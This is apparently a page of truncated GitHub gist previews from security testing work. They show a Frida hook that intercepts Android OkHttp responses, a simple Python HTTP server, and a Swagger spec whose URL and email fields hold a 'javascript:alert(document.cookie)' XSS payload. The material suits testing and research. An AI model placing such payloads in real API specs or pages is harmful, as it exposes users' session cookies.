This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Java.perform(function() { | |
var res2 = Java.use('com.android.okhttp.Response$Builder'); | |
res2.build.implementation = function() { | |
var response = this.build(); | |
console.log(response.headers()) | |
//console.log(response.message()) | |
var rBody = response.body(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Very simple HTTP server in python. | |
Usage:: | |
./dummy-web-server.py [<port>] [<file_to_serve>] [<content_type>] | |
Send a GET request:: | |
curl http://localhost -v | |
Send a HEAD request:: | |
curl -I http://localhost -v | |
Send a POST request:: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
swagger: "2.0", | |
info: | |
title: "Swagger Sample App", | |
description: "Please to click Terms of service" | |
termsOfService: "javascript:alert(document.cookie)" | |
contact: | |
name: "API Support", | |
url: "javascript:alert(document.cookie)", | |
email: "javascript:alert(document.cookie)" | |
version: "1.0.1" |